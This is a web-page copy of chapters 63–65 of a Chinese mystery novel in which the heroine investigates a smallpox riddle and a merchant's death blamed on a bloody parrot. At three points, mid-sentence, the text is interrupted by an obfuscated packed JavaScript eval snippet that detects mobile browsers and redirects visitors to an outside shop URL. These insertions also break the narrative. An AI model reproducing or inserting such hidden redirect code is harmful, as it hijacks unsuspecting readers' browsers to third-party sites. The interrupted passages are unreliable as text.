但不对啊,如果原主等人路过的时候已经封村,那他们为什么会感染?天花的潜伏期最长半个月,抵达东橘村后,原主和橙橙还住了两天呢,都无任何症状。天花可是高传染性疾病,如果七个人都得了,为什么原主和橙橙幸免? “不错,这正是蹊跷之处。根据官府日志,那些被带走的外人是在官道上一处茶寮歇息时,陆续出现高热、头疼。那时正风声鹤唳,茶寮小二吓得落荒而逃前往报官。官府到的时候,那些人头部面部已出现红疹、水泡,当即便被带走丢入了村中。” 停停,什么? 七个人几乎同一时段高热、头疼,随即不多时就出现红疹、水泡?这怎么可能,每个人的潜伏期、发病进展不可能一样啊。 “附近仅这个苗姜村有天花吗?我们来时的路上,早于十里驿之前,可有疫病?” 谢宁轩摇了摇头。 那这就奇怪了。天花是有潜伏期,且需要传染源的。不可能走到村子外面一下子就全体感染,然后立刻发病。 “茶寮小二还说了什么没有?我和橙橙,又是怎么逃过官府抓捕的?像我们这种同行人,不可能因当时无症状就放过吧?” “嗯,你说的没错,官府对待这种情况一向是宁可错杀。所以,茶寮小二就是这么进去的。” “天哪,他也被抓走了?” 怪不得说没有目击者了。 “茶寮小二到底见到了什么情况,无法找到本人询问了。但是官府记载却很清楚,到茶寮的时候,就没有旁人。当时怕有人逃脱,还在附近进行了搜索。” “难道我和橙橙趁他报官的间隙跑了?” “不,”谢宁轩笃定,“茶寮小二报官称的便是一行七人,全部有恙。” 我懵了,半晌才意识到问题。 一行七人,说明原主橙橙与其他下人根本未同行。可他们护送任务就是围绕原主,怎么走着走着,他们七个倒坐到茶寮歇息了?原主和橙橙是因为他们得了天花而故意避开的吗? 当时附近有搜索,就说明原主和橙橙并未躲在附近观察,那,原主知不知道这七个人被封进疫病区? “在之后的赶路中,你和橙橙宿在客栈,掌柜的见过你一度表现惊慌,全靠橙橙开解才没有崩溃。但是到了东橘村,你们二人已经情绪恢复如常,说笑打闹,并无异样。” 并无异样?这全是异样啊! 一度惊慌,说明原主对那七人感染天花是知情的,那原主和橙橙情绪恢复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603375|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就应该是时日渐多,自知未染病而放心。但七个下人不见了欸,怎么就说笑打闹,不管不顾了? 这时,我忽然想起东橘村老板娘听到原主曾说的话——“到了京城见到我爹就有办法了”。难道,这里说的“办法”,就是找这些下人的办法? 谢宁轩却摇头:“‘表现惊慌’并不能锁定与天花有关,如果你完全不知情,惊慌的只是下人怎么全都不见了,这也是完全讲得通的。至于后续如常笑闹,也就更好理解了。羽书,你没发现这其中关键……” “关键?你是说橙橙?”我心口一跳。 谢宁轩梨涡旋起:“不错。橙橙安抚你,橙橙与你脱离大部队,橙橙眼看你落水。显然,橙橙才是这个局的关键。” 我感到脑后生风,说话都有些颤音了。“难道、难道如此巧合,如此奇怪的天花感染,也与橙橙有关?那、那现在该怎么办?” “先落实身份。我已经请当地官府绘制了那七人画像,寄去了金华,以确定苗姜村现在是不是关着你的人。其次等待十里驿的驿卒归来,据询问得知,有个驿卒曾和橙橙有过对话,但查访的时候他刚好奉命送信去了。可以根据他的口供,再探一探橙橙其人。第三,继续沿线往回追溯。天花疫病一向被隔绝的非常利落,据闻那村落也不在官道边,人少且闭塞,那么,橙橙怎么神通广大做出与天花有关的谋划?这很值得细究。” 我点点头,心情沉重。 从现在判断,暗害原主的幕后黑手大抵是在金华。可他到底有多手眼通天,怎么就知千里外会爆发疫病?原主被安排舍近求远,走了这么一条上京的路,就是为了这一场天花?但是原主没有被牵连,是落水离开了的。那是谋划出了问题还是天花本就不冲着原主,只是为了支开原主身边人,方便橙橙之后下手? 见我郁郁,谢宁轩手劲大了些:“羽书,放心,相信我,好吗?天子脚下,你不会有事的。” 一双眸子好似静影沉璧,无端端就让人放下心来。 我傻傻盯着,忘了移开视线。 梨涡映现,谢宁轩打趣道:“羽书怎么盯着我看的这般入神?怎么,觊觎我的美色了?” 如梦初醒,我登时红了脸,忙闪到一旁狡辩:“我才没有!你觊觎我还差不多!” 谢宁轩慢慢负手,笑得慵懒又随意:“我就是啊,怎么了?” 我震撼的看过去,大脑宕机。 偏偏这时,门外一阵脚步声响起,捕头浮生的大嗓门混合着二公子的诧异声,突兀又不合时宜。 “这么巧!天哪,不会是……” “大人真的在屋里吗?” 这回,我仍是惊得立马跳开,猛抚自己的胸膛,让自己呼吸平稳些。谢宁轩则露出狐狸般得逞的笑意,摇头晃脑着去开门。 甚少见他这般松弛而轻快,连带着我的心情都悠然荡漾。 然而此种氛围一闪而过,因为浮生带来了坏消息—— “大人,上阳街有户人家来报案,称自家主子被家中鹦鹉勾魂了!” 话音入耳,心头旖旎瞬间褪去。一个名字乍然出现在脑海中,我奔出追问:“勾魂?死了?那人、那人不会这么巧,叫朱承林吧?” 余光中是二公子惊骇的面容,浮生瞪大眼睛:“就是他!王小姐怎么知道的?” 63.阴宅 朱承林是死在上阳街自己家中的,发现的时候,尸体已有异味。他倒在地上,面颊脖颈血肉模糊,瞪着一双眼,左眼珠子少了一半。 而在尸体上,立着一只血红的鹦鹉,直勾勾、幽幽的望着发现的人。 浮生说这番话的时候,一直在缩脖子。 但最可怖的还不止如此。 目击者骇然大叫后,鹦鹉当即冲着他直飞,像一个炮弹似地,嘴里还叫着“阴曹地府”“见阎王”。那人吓得瘫软在地,被鹦鹉狠狠踩了几脚后,鹦鹉又起飞,在院子上方盘旋数圈,发出了类似哀鸣的声音后,旋即飞走不见。 二公子抖着声音:“天、天哪,鹦鹉、鹦鹉是接受地府指令,来带、来带它主人归、归西的?” 浮生搓着手,也难耐的吞口水:“朱家人也这么说!它是谛听化身,勾魂来了啊!” 死状的描述确实惊悚,鹦鹉诡异的行为更是令人毛骨悚然。 但想起今天的任务,我还是深吸口气让自己平静下来:“别自己吓自己,什么勾魂,什么谛听,都是假的!还是想一下……” “你这女子莫要瞎说!”有人自窗外尖声反驳,打断了我的宣讲。“冲撞了神灵,给我们家带来灾祸,你承担得了责任吗?” 说话的人是位年轻姑娘,穿着颇为轻薄,眼下通红、妆容也花了,但还是能看出颇有姿色,身段亦很娇柔。 比起她走路的媚态,她的态度可冰冷的多:“朱郎已经不在,我们认了。但绝不能得罪神灵!你们官府不准靠近他!走,走!我们不需要你们!” 浮生当即火了:“你混说什么?报案的不就是你家小厮吗?” “那贱人是自作主张,打发小厮出去的,我可没同意!” 衙差韩桂早于我们赶到现场,闻言立即凑前禀告:“报案的是死者小妾的小厮,也是他发现的死者。这位是夫人。朱家,”压低了声音,“妻妾闹得不可开交。” 这时,窗外刚好传来不同女子的哭闹声,似乎在围绕衙差撒泼打滚。有人哭着要说法,有人骂着衙差多管闲事,还有女子嚷嚷着夫君夫君。 浮生烦躁的挥挥手,对朱妻下令:“不管谁报案,你听好了,有人死于非命,我们官府就需要介入调查,不是你说不报案就完事了的!” 朱妻怨毒的瞪着浮生:“朱郎是被索命的,你们官府能有什么用?” 明明晌午大太阳照着,朱妻的表情却让我心里一寒。强压下心头慌乱,我问道:“索命是什么意思?朱承林好端端的,为什么会被索命?又是谁索命?” “你是谁?官府什么时候有女捕快了?多嘴多舌,我们家的事……” 二公子本缩着脖子,一听这话直接恼了,怒曰:“闭嘴!她问你什么回答什么!再敢质问一句试试?” 浮生也厉声喝道:“少东拉西扯,官府查案,你以为闹着玩呢!回答问题!” 朱妻被训得一愣一愣,不服气,却又不敢撒泼,只得咬牙没好气的回答:“呵,这上阳街是出了名的老破旧,前面还有个闹鬼的公主府,我们家能一直住在这儿,不就是图它阴阳交会,鬼差出没吗?他被索了命,不正是、不正是……”朱妻哀怨的骂了一句,“鬼差带走了么。凡人又能有什么帮助。” 无人回应,场面寂静了好几秒。 事情越发匪夷所思了。 我硬着头皮再问:“所以,这房子才会被称为阴宅?” 朱妻语气不善:“住着两年了,鬼影鬼火时不时就有,你说呢?” 韩桂扭脸看向头儿,那脖子的僵硬程度,快赶上尸体本体了。 “头、头儿,那、那公主府是真、真闹鬼啊,那这、这屋子,是不是,是不是……” 余光扫到二公子和浮生,刚还正气凛然呢,现在都快贴一起了,真没出息。 我知道当下最重要的就是扭转风气,当事人对鬼神深信不疑,连带着官府都神叨叨,还怎么进行下去? 昨晚,我可是自告奋勇接下的案子,以求能让近来忙的不可开交的谢宁轩少操点心。若是查不出名堂,我胸脯拍的信誓旦旦,可就打脸丢人了! 因此甭管冷汗流了多少,我还是只能深呼吸默念唯物主义思想,一件一件来理清楚。 先打发朱妻回去,我问面前三人:“公主府是怎么回事,你们谁能先给我讲一下?” 浮生在手下面前不想太露怯,此刻打着精神回答:“这街最西头,靠近城墙那儿,有个废弃的府邸,据说是前同朝亡国那哀帝,为最喜欢的女儿平庆公主建造的公主府,极为奢华。亡国之后,府邸就废弃了。本朝开国后,也一直没有另赐官员,就荒废在那,好多人都说夜半路过,常听有女子声音。” 前朝?大青开国可有百年了啊,闹鬼闹了百年?这得成老妖了吧。 “啊?还闹鬼吗?”二公子探出脑袋,鬼鬼祟祟,“去年不是赐给大将兴国侯了吗?不应该再闹鬼了呀!” 韩桂恍然:“是哦,卑职也听说了,好像年初就开始动工改建了。” 我则关注:“那动工后,还有女鬼传闻吗? 几个人都是一愣,浮生拿不准,想了想才说:“好像之后是没怎么听说闹鬼了诶。” 这不就对了嘛,我想趁机安抚,但二公子却比我想得更迷信。 他马上颔首,表情夸张:“果然,果然!我就知道!兴国侯可是征战沙场之人,肯定能镇住公主府那些妖孽!” 浮生和韩桂齐齐点头赞同。 我颇败兴,只能再问:“那上阳街其他宅子,也常有闹鬼传闻?” 韩桂已经带人询问过周边人家了,此时摇头曰:“并没有,但大家多多少少都知道,朱家闹鬼。” 浮生也补充:“说实在的,今天来之前,卑职都不知道这里还有如此邪门的宅邸呢。” 我点点头,思路清晰了些:“所以你们看,甭管那兴国侯能不能镇住妖孽,但年初公主府已经开始动工建造,也没了女鬼传闻。而朱妻说,家中闹鬼持续两年,这显然与公主府无关,对不对?” 三人面面相觑,我继续道:“现在再说说朱家,我爹来验尸了吗?” 韩桂难堪的看向头儿:“朱妻阻碍,不让验尸啊。非说是谛听亲自带去地府的,人间碰不得。” 刚才朱家管家也不让我们进案发现场查看。得,迷信不破除,案子都查不下去。 我叹口气,只能用魔法打败魔法了:“呐,这话就不对了。众所周知,勾魂的是黑白无常,谛听又不负责这个,难道地府还有交叉任职?” “啊?”浮生懵了。 “所以啊,这勾魂也好,谛听也罢,是不是都是朱家人自己说的?那就一定可信吗?万一是他们谋害了朱承林,并编造出这鬼话意图逃避调查呢?” 韩桂却缩了缩脖子:“可是见到血鹦鹉盘旋哀鸣的,不止一人,这、这不太可能都是串供吧?” 我想了一下,先问道:“那既然我爹尚未验尸,为什么肯定死亡时间是四天前?这话是谁说的?” “报案人自己说的,因为朱承林就是四天前失踪的。关系到开分店,家人到处找,没想到竟然死在家里。卑职看见那尸体了,”韩桂恶心的皱了皱眉,“虽说不能准确判断,但确实死了有些时候了。” 我在心中默默盘算,昨晚报案,昨天也是我和二公子第一次接触此事的时间。当时胖子确实也说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612610|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,朱承林三天没回铺子了,这能对上。 但是,如果不是昨晚才死,那在家中这么些时间,怎么就一直没发现?这不过是个三进的院子,按理说没地藏尸啊。 浮生伸伸舌头:“这也是蹊跷之处,报案人称他是死在家中阴祭台,平时他不让家人靠近。这是闻到了臭味,加之昨晚突然有鹦鹉声音传出,才会发现。” 阴祭台?又是什么玩意? 我也没深问,先继续破除迷信的工作。 “行,咱们就算他死在四天前,七月六日。那问题来了,那天就是你在茶庄买下鹦鹉送去我家的时间,对不对?”我问二公子,这家伙攀住了浮生的胳膊,恨不得钻进他怀里。 “嗯,是吧。” “你买来送我之后,鹦鹉一直老老实实呆在笼子里。之后咱们去茶庄,它才飞走的。那你们捋捋这时间线,鹦鹉飞回来的时候,朱承林已经死了。那这事和鹦鹉,有什么关系?” “可是,”别看二公子胆子最小,反应还挺快,马上反驳曰,“昨天,它就是自己打开笼子飞走的,说不定趁夜偷偷飞回来勾魂!” 他这话说的荒唐,却突然让我忆起一个细节。 我被鹦鹉惊吓那晚,声音与白影皆变化自如,抓住它的时候,也不在笼子里。这的确说明这只鹦鹉会开笼子,有自行乱飞的嫌疑。但不妨碍我的推论,因为—— “你买的时候雪白雪白,丝毫未染血迹,直到昨晚它踩在尸体上。那请问,这毛怎么变白的?”我打断要开口的二公子,“行行,我知道,你又要说它是勾魂使者能自己变白了?可你不觉得这讲不通吗?如果它会自己变白,为什么昨晚发现的时候染满了血迹?如果它不屑于变白,不在意凡人眼光,杀了朱承林后,干嘛要变白?浪荡几天再回来完成任务?再说了,勾魂诶,谛听诶,听起来神通广大是不是?那还有必要搞得血肉模糊,死相难看?” 我絮絮叨叨一番话总算有了些效果,面前三个人都陷入了沉思。 我趁势继续:“你们再想,且不论朱承林的死亡具体时间,但六日他失踪了,紧接着,鹦鹉就出现在那卖首饰的雷姓男子手中。与其说什么勾魂、谛听,这姓雷的,才是更可疑的呀。” 二公子蹦了起来:“对,对!与姓雷那厮喝茶的钱掌柜还莫名死了呢!” “对呀,还有这朱承林,他到底怎么死的还是个谜,所以才要让我爹验尸啊,万一内中另有玄机,咱们岂不是被一只鸟骗了?” 浮生总算动摇了,他招手唤来衙差,吩咐了几句。 我略略松了口气,可那厢二公子仍有疑虑: “可是,钱掌柜也见过鹦鹉,会不会还是……” 我无语扶额:“大哥,你我也见过鹦鹉,咱俩有事吗?你哥说得对,姓雷的拎着鹦鹉一路,这鹦鹉真要会索命,一路得死多少人?” “那是你们阳寿未尽,它没勾走而已!老朱,老朱已不是它害死的第一个人了!” 只听一个熟悉的声音传来,我的破除迷信工作宣告失败。 胖子的脸从窗外冒了进来,比起昨天见到的丰腴,现在却显得苍白,极度紧张、病态的苍白。 “诶,是你啊!”二公子上前招手,“你怎么来了?” “听说老朱出事了,我来瞧瞧。”说话间,胖子手一直在颤抖,脚步也不稳,脸颊滴滴答答落着汗。 我和二公子都察觉他有些不对劲,异口同声地问:“你怎么了?” 浮生却追问:“你刚才说的话是什么意思?老朱不是第一个,那谁是?” 胖子紧张的抿抿干裂的、毫无血色的嘴唇,声音发虚:“这宅子,这宅子原来的主人,两年前就是这么死的!” 64.五鬼运财 朱家是传统的中式三进院落,从前门走到后院,有假山有花丛,收拾的立立整整。屋内也处处都是花盆,绿植开的很好。 很难想象,这宅邸会被称作阴宅。 但更离奇的是,此宅两任主人,先后均被鹦鹉杀死。 “你说清楚,”眼看情势急转直下,我试图稳住场面,“上一任主人怎么回事?怎么死的?” 胖子眼底血丝密布,肉眼可见的恐惧:“那、那人也是被鹦鹉咬穿喉咙死的!” 不,不可能。 我是尚未看清尸体,可刚在案发现场门口纠缠,还是透过门缝看到了内里状态。尸体附近的地板上没有大量血迹,没有血肉呼烂,这和被动物攻击导致死亡并不一样。 在老爹未判定死因之前,我也敢说,朱承林的死绝非鹦鹉袭击导致的失血。 袭击VS袭击致死,这有根本区别,好吗! 但上一任主人呢?鹦鹉咬穿喉咙……怎么这么巧合,也有同样情况,还是说—— “难道鹦鹉,是同一只?” “是啊!就是这只倒霉……啊不,”胖子说错话了,紧张的猛抽自己一耳光,“错了错了,就是这位使者、使者……是它、是它,连续带走了、带走了……” 胖子都开始语无伦次了,但将火烧得更旺的,则是韩桂。 他跳起来:“啊!怪不得卑职查问街坊的时候,提起鹦鹉大家都避而不谈!原来它真的是地府来的,轻易碰不得啊!” 我极无语,只能耐着性子安抚,先捋逻辑。 “等一下,先别慌。那这么说,这鹦鹉原来的主人不是朱承林。既然它的诡异众所周知,那为什么朱承林要留着它?” “它、它自己,它不肯走!” 我努力理解:“唔,你是说,朱承林搬进来后,发现这只鹦鹉总逗留不肯离开,他便收养了?可问题是,这宅子都不吉利,干嘛要搬进来?” “哎呀,就是因为它是阴宅,老朱平时用那极阴的来财之术,就得有极阴的风水留财!这两年老朱生意蒸蒸日上,还不就是这宅子的功劳?” 二公子从浮生怀中探出脑袋,瑟缩着、颤抖着:“你、你说的,极阴、极阴的来财、来财之术是、是什么?” 胖子舔了舔手指,紧张的四下瞧瞧:“听说,听说是五、五鬼运财。” 韩桂惊了:“这可会反噬,弄不好要丢小命的啊!” 二公子平日学的都是圣贤书,压根没听说过这玩意,虽然吓得要死,但还是忍不住追问:“什么是五鬼运财?” 五鬼运财,据说是请五小鬼不破门不留痕,从他人身上偷盗钱财的一种法术,获取的都是偏财、横财,极损阴德。 二公子咂舌:“他用这种阴诡秘术,这是被小鬼索命去偿还了呀!” 韩桂也咽口水:“怪不得鹦鹉不肯走,它可能就是五鬼从地府派来看着朱承林的,万一他贪心,就索了命了!” 说真的,我对深奥玄学还是尊敬的。古人的智慧不可小觑,很难说在中国古代,各种各样的法术秘术,是否真的存在过。所以当我听到“五鬼运财”四个字的时候,一时还真的有些紧张。 但这一刻,我只觉得荒唐。我总算知道谣言是怎么产生的了。 刚才还说代表谛听,又是勾魂又是作恶。现在又变成五小鬼的使者了? 其实看看这朱家的院落,就知道在富人云集的京城,朱承林远排不上号。如果五鬼运财只是到这种富裕程度就要索命,那这法术也太名不副实、代价惨痛了吧。 不过,不管怎么样,朱承林本人一定是极信这个的。那他两年前携家带口来到京城,就是特地寻了此处“风水宝地”? 我让人给胖子倒了杯红糖水,胖子饮下热量,情绪稳了一些,慢慢打开了话匣子。 “老朱是听了家乡高人建议,北上有财运,故而抛下家中产业,特地上京做买卖的。一来就寻摸住处,到房牙提了要求后,房牙都惊呆了。这有人横死的屋子,房牙正愁卖不出去,还不忙忙就推荐老朱来了。” “所以朱承林买下这宅子的时候,就已经知道上一任主人的死法了?” “是啊。” “也真是独他一个了!否则这房子早荒废了!”二公子啧啧两声。 胖子却摇头:“不,哪呀。老朱说,这宅子外人看是不吉利,但当时价格非常便宜,还真有几个客官琢磨着买了当库房。他当时还想着即便加价也得拿下呢,后来又发生了一件事,反而让他轻易得了。” “什么事?” “房牙组织几个想买的客官来看房子,刚巧路过一个云游道士。那道士走到这门口,就惊得站不住,止不住地说这院子煞气重,聚阴死气。非天煞孤星命理压不住,谁住谁倒霉。那几个客官一听,这哪还敢买啊?房牙也慌了,没怎么要价就给了老朱。老朱上回给我说的时候,很是得意呢。” 在场三人又往一起挤了挤。 这也不怪他们。朱承林这操作,谁听了能不打冷战啊! “这么说,两年前那主人居住在此,也是为了这极阴的风水?” 胖子又捧着杯子喝了一大口,汗还是止不住的往下流。 “好像还不是。我也问过老朱,他说原来这宅子普普通通,没什么神鬼传闻,就是那主人蹊跷的死,才引发了风水的变动。因此啊,老朱连人家的家具一个都没换,为的就是极阴之地,带来财运。” 我起了些疑惑:“风水的调整是极其有讲究的,如果前任主人只是死于非命,不应该对宅邸造成如此大的影响吧?不吉利可以理解,极阴,就有些夸张了吧? “那就是因为使者勾魂啊!” 我继续质疑:“可是你刚说使者是因为老朱贪财,所以派鹦鹉勾了魂。前任主人难道也施加了同样的法术?你不是说这在之前只是普通宅邸吗,那前任主人就应该是个普通人啊,那又为何也死的那么离奇?” 胖子回答不上来,咬着手指,恼火的瞪着我。 我不想让胖子不悦,还得套话呢。便讪笑两声,换个问题:“前任主人是干嘛的啊?也做买卖的?” 胖子没好气的甩了甩袖子:“听说是个木匠。” 木匠?嘿,做生意的迷信风水,追求财运,时有听说。木匠几时也偏离主业,搞这些神秘玩意了? “等一下,木匠住这么大的宅子?”浮生不太相信。 “人家可是业内翘楚,给不少达官贵人做过家具,听说哪个王爷修建庄园,还指名让他操刀呢。”胖子瞪眼。 我看向抱团的三人:“听说过吗?” 三人俱是摇头。 看来这翘楚,也不太有名。 行吧,那我继续问了:“宅子我听懂了,那你还知道鹦鹉是咋回事吗?你之前说,鹦鹉通阴阳,是谛听投生,这又是哪来的说法?” “老朱告诉我的嘛!他呀,其实一开始在这阴宅住的,也颇惶惶。因为真的常有鬼火鬼影,加上这鹦鹉染血后脏兮兮的,又会说话,学了下作的句子半夜叫唤,他那些婆娘都挺害怕。但是搬家吧,他又舍不得这风水,毕竟来京城后,买卖得重新开张,没有财运哪行啊?就在他犹犹豫豫,考虑找高人做法、请高僧超度的时候,又碰到了那个道士。” “你方才说的云游道士?”我有些惊讶,刚才我一度怀疑这哥们是朱承林找来的托呢。 “是啊,那人掐着手指就出现了,说知道他近来困惑于此,特来帮他。算了卦之后本来是建议他搬走的,老朱支支吾吾不愿意。道士便说,这鹦鹉是谛听投世,通阴阳,与阴宅两面一体,互为因果,少了一样风水都会破坏。若是诚心求财,就得放下戒备心与畏惧心,面对鬼神出没要敬仰,更不得打扰,才会顺风顺水得阴司助力。” 二公子差点把下巴掉地上。 浮生和韩桂也吓得不轻,一个劲儿往门口凑,只希望沐浴在太阳光下,多些阳气。 但我心里有了计较。这个道士,恐怕不简单。只是,他说这些神神鬼鬼的话,为了什么呢?高额的做法费用? “不,人家分文未收!连顿饭都没吃,就又云游去了!” 朱承林得罪过他,故意整人? “老朱就见过他两次,从来没打过交道,什么得罪不得罪啊?” 房牙派来的,为了成交的佣金? “哪呀!他的话把其他客人都吓跑了,就老朱碰巧要买,否则房牙不亏死了?” 这就奇了。 “奇什么呀!”胖子用袖子擦擦额头虚汗,“这道士分明就是得了天意,来指点老朱的呀!” 得,现在又成天意了。 我起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627588|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些叛逆心。呵,我倒要看看这个案子还能发展成什么样。 “行,这部分我也听懂了。”我总结道,“朱承林因为道士的话,就此安心住了下来,直到他死。那中间还发生过什么离奇的事吗?” “嗨,那还能有什么啊?看老朱坚决不搬,加上生意的确兴旺,他那几个婆娘慢慢的也就不闹了,反而是继续争宠。所以那鹦鹉常常白天不问安,晚上却精神的很,你也很难分辨到底是鬼来了,还是它在鬼叫,与其揪个清楚,把自己吓得要命,不如听道士的,敬而远之,别去叨扰。老朱也专程给鹦鹉洗了澡,哦,听说每逢清明寒食,还专门给它添食呢。” 好家伙,桩桩件件都够离奇、荒唐的。 不过这话证实了我的观点,鹦鹉不会自己变白。 “那,极阴台又是什么东西?” “老朱根据家乡施五鬼运财术那高人的要求,布置的祭祀台呗!说什么极寒极阴,偏财来的勤。”胖子又咬咬手指头,露出骇然的面色,“我说你们官府莫要纠缠不休了,与其缉凶查案,还不如找些得道高僧来做法,想办法改改风水呦!” 浮生和韩桂面面相觑,二公子伸一只手过来拽我的袖子。 这时,一个衙差气喘吁吁跑来:“头儿!验尸有结果了!” 我心头一跳:“快说,怎么死的?” “王副官说,死者脸部脖子到处都是尖嘴咬戳啃食的痕迹,血肉模糊。但真实的死因是被捂死的。鹦鹉造成的伤口发生在死亡之后。” 果然与鹦鹉无关! “捂死的?老朱是被人杀的?”胖子惊了。 浮生关注另一点:“啊?人死了之后,为什么鹦鹉还要啃食?” 我则继续追问:“死亡时间呢?” “六日凌晨,约莫丑时。” 还真是死了四天了。 我正思索着,余光中,胖子忽然站了起来。他颤抖着问衙差:“六、六日,凌、凌晨?” “对呀,怎么了?” “可是、可是五日晚他明明给伙计说去青楼,我亲耳听到的啊!” 我有些奇怪:“去了一下然后回家,有什么问题?” “不!不可能!你不了解老朱!他那人极好色,到青楼从来都是玩一夜,第二天还要睡到午觉之后才肯去铺子,断不会玩一半儿突然回家!那天出发去的时候都子时三刻了,我还笑话他忙了一天去玩,不怕精尽人亡?老朱笑着说,解语花怀里躺着才能恢复体力。” 胖子见众人都惊异的盯着他,急得跺脚,“哎呀,不信你们问朱家人,谁不知道他这德行?他自家阴宅,偏偏还怕有人觊觎家财,所以每次不回家睡,还会专门遣人通知,让婆娘们锁好门早些睡。五日晚我亲眼看见他吩咐完小厮,然后就去了青楼的啊。” 我看着胖子紧张又认真的表情,慢慢理解了他的意思。 “你是不是想说,六日凌晨,朱承林应该在青楼,不应该在家里?” 胖子圆圆的脸上写满了惧怕,指着我一边点头,一边发抖。 我明白了。这话其实也就解释了,在朱家人的视角中,朱承林一直没有回家。因而人失踪后一直在外寻找,因而拖到昨晚才发现尸体。 但这里就有两个疑点了。 第一、鹦鹉的蹊跷行为。在我家的时候它曾飞出笼子,但却没有回到朱家,为什么昨天又飞了回去?我家固然离上阳街远,北门那茶庄也不近啊。而且回来发现主人之死,为什么还会啃食?上一任主人也是死后被它袭击的吗? 第二、朱承林具体是什么时间点回家,又为什么家人毫不知情?今天我来的时候注意过,朱家大门极重,开合定有声音。而后门与东侧偏门一旁就有下人居住,上了闩,也得敲门让人来开。 当然,朱承林是被谋杀的,那凶手的动机、身份、作案后如何逃脱,亦是疑点。 我这厢分析着,那边,胖子跌坐到椅子上,两只眼睛露出深深的恐惧,用干哑、绝望的声音喃喃:“是小鬼,是小鬼,运了他回家索命……在哪,在哪都逃不脱,逃不脱啊!” 说罢,胖子两眼一翻,径直从椅子上跌落。 “诶诶?胖子!你怎么了?”在二公子的叫喊声中,我看到胖子嘴角流出了白涎。 我上前细瞧,心头大惊:“他、他中毒了!” 65.试探 上阳街虽然破败,但医馆还是有的。只是郎中畏惧闹鬼的朱家,不肯上门救人。没辙,衙差只能抬着胖子去就医。短短路程,累的汗如雨下。 二公子也不敢单独在朱家呆着,跟着我来到医馆,一个劲儿劝我回去。 “哎呀,这得捉鬼,哪用缉凶啊,也不是我哥的职责!累不着我哥,你自责个什么劲儿?”二公子揪着我的袖子,“咱们走吧,走吧,这条街都是鬼气森森的!” 我看一眼外面的大太阳,忍住翻白眼的冲动。 “那你回呀。本来你说要参与查案,你哥就不答应。今早也是你自己跑来的。既然年考在即,还是回去温习功课吧。” “那不行!我不能让你一个人涉险!” “这不还有衙差吗?” 昨晚谢宁轩也要我答应必须和衙差在一起,不准私自行动,还说每晚都要去给他汇报进展。眼瞅这一天过了一半了,我还没查出任何端倪,今晚拿什么交差啊? 二公子眉毛一竖:“嘿,羽书妹妹,你可真是奇怪!小时候你听到鬼故事都吓哭的,怎么现在这么大胆?” 白眼还是没忍住,我没好气道:“你可拉倒吧,之前在王府你不是自己说过,小时候都是我带你摸黑钻山洞、半夜蹲兔子吗?我吓哭,呵,哭的不会是你吧?” 二公子脸色一僵,逞强的很明显。“胡、胡说!怎么可能,我一个大男人!” 你大男人?那你扑浮生怀里? 见我撇嘴未语,二公子有些恼了,再次揪住我的袖子,虎着脸道:“羽书妹妹!我是说真的!这案子不管是鬼神还是人为,那也是京城府衙的事儿,你参与其中做什么!我大青又不招女捕快!” 又来了!不招女捕快,那是你们大青落后! 这话我没敢说出,旁的我可不留情,当即反驳:“嘿,是谁之前还心疼哥哥,说他忙的脚不沾地都病了,别打扰了。现在可又说这些活儿都是他的职责了?” “那那……”二公子被我怼的语塞,气呼呼一甩袖子,“那我哥也可以交办他人嘛!他手下那么多人……或者找三殿下,宋璃哥,谁帮个忙都行啦,实在没必要你……诶诶诶我说话呢!你听见没有,绕到那边做什么?” 绕到桌子后面,躲你啊! 我烦躁的丢过去个眼神,撞到他又气又恼,还有些委屈巴巴的小狗眼神。 嘿,怎么感觉我把他欺负了捏? 而且……咳咳,话说,这段时间我一直在琢磨,这家伙隔三岔五来寻我玩儿,不是忆往昔就是送礼物,听着和原主感情极为深厚,且还有点想继续深厚的意思。他——额,真是不愿往那儿想——不是会喜欢原主吧? 那可糟了,原主早就……哎,我只能赶紧给他掐了。 索性这会儿等待也是无聊,干脆先试探一波。这么想着,我转了转眼珠子,便开始了信口雌黄:“说起来,二公子啊,我前两天听我爹说,王妃给你相看亲事了?” 一语毕,二公子差点跳起来。他要是正喝茶,绝对能喷我一脸。 “什么!什么时候听说的?怎么可能!” 我被他的反应惊到了,忙改口:“哦哦,也有可能我爹听错了!可能是给你哥看的,他毕竟比你年长嘛,呵呵呵呵……哎呀不重要啦,我其实想问的是……” 问什么尚未出口,二公子直接打断了。 “给我哥?更不可能!”二公子摆摆手,“母妃怎么可能给我哥相看亲事?他那人铁面冷脸,屋里连个丫鬟都没有。听说之前有女方请人来说和,我哥理都没理就走了。再说,父王很早就答应他,没有他点头,绝不会安排姻亲的。” 